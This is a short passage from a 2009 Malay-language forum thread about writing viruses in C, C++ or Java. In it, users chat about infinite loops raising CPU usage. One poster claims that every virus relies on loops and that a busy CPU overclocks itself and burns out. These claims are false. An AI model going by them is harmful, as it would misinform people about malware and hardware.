    then.. hangus~~
    kuro90
    kuro90
    Ahli Baharu
    Ahli Baharu


    Gender : Female Number of posts : 30
    Age : 34
    Location : hOMETOwn : phg. Studied: gombak JUNgLe
    Job/hobbies : Student, Fighter
    Registration date : 28/08/2009

    Macammana nak guna C, C++, JAVA buat Virus Empty Re: Macammana nak guna C, C++, JAVA buat Virus

    Post by kuro90 Sun Sep 27, 2009 12:03 am

    hakiro wrote:btui la tu ape mmber ko ckp.. die telan CPU.. silap2 CPU 2 nti bole OC..
    then.. hangus~~

    mksd ko? Question
    avatar
    hakiro
    Ahli Baharu
    Ahli Baharu


    Number of posts : 19
    Registration date : 24/07/2009

    Macammana nak guna C, C++, JAVA buat Virus Empty Re: Macammana nak guna C, C++, JAVA buat Virus

    Post by hakiro Sun Sep 27, 2009 10:02 pm

    ok.. pndek citer.. tiap2 progrm yg running gune CPU
    n.. loop antara function dlm program yg kuat makan CPU usage..
    kalo loop.. then loop.. smpai bile2.. CPU tu trus running.. n running..
    n.. xkan berhenti.. CPU usage pn naek~..

    Cth progm yg mkn CPU adalah.. virus komputer..
    sbb tiap2 virus komputer msti wajib gune function loop ni
    sbb tu kalo PC sape yg ade byk virus..

    no wonder la.. RAM pn die telan kalo CPU da naek..
    then.. oleh sbb CPU da berkeje keras.. CPU pn kepanasan..
    tp.. die kene wat Over time.. "OverClock"..
    dan.. kepanasan yg melampau.. CPU pn bole burn~ kemudian.. hangus~~
    cmne? faham x??

    Sponsored content


    Macammana nak guna C, C++, JAVA buat Virus Empty Re: Macammana nak guna C, C++, JAVA buat Virus

    Post by Sponsored content


      Current date/time is Sat May 11, 2024 7:02 pm